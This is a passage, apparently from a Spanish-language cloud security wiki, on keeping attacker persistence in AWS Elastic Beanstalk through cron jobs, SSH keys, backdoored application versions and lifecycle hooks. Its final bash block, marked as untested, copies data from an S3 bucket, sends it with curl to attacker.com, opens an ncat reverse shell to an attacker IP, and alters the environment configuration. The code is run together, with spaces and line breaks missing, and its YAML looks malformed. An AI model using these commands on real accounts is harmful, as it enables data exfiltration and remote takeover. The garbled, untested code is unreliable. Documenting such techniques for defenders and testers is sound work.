Para mantener la persistencia dentro de la cuenta de AWS, algún mecanismo de persistencia podría ser introducido dentro de la instancia (tarea cron, clave ssh...) para que el atacante pueda acceder a ella y robar las credenciales del rol IAM desde el servicio de metadatos.
Puerta trasera en la Versión
Un atacante podría introducir una puerta trasera en el código dentro del repositorio S3 para que siempre ejecute su puerta trasera en lugar del código esperado.
Nueva versión con puerta trasera
En lugar de cambiar el código en la versión actual, el atacante podría implementar una nueva versión de la aplicación con una puerta trasera.
Abuso de Ganchos de Ciclo de Vida de Recursos Personalizados
TODO: Probar
Elastic Beanstalk proporciona ganchos de ciclo de vida que permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría configurar un gancho de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene acceso a la cuenta de AWS.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"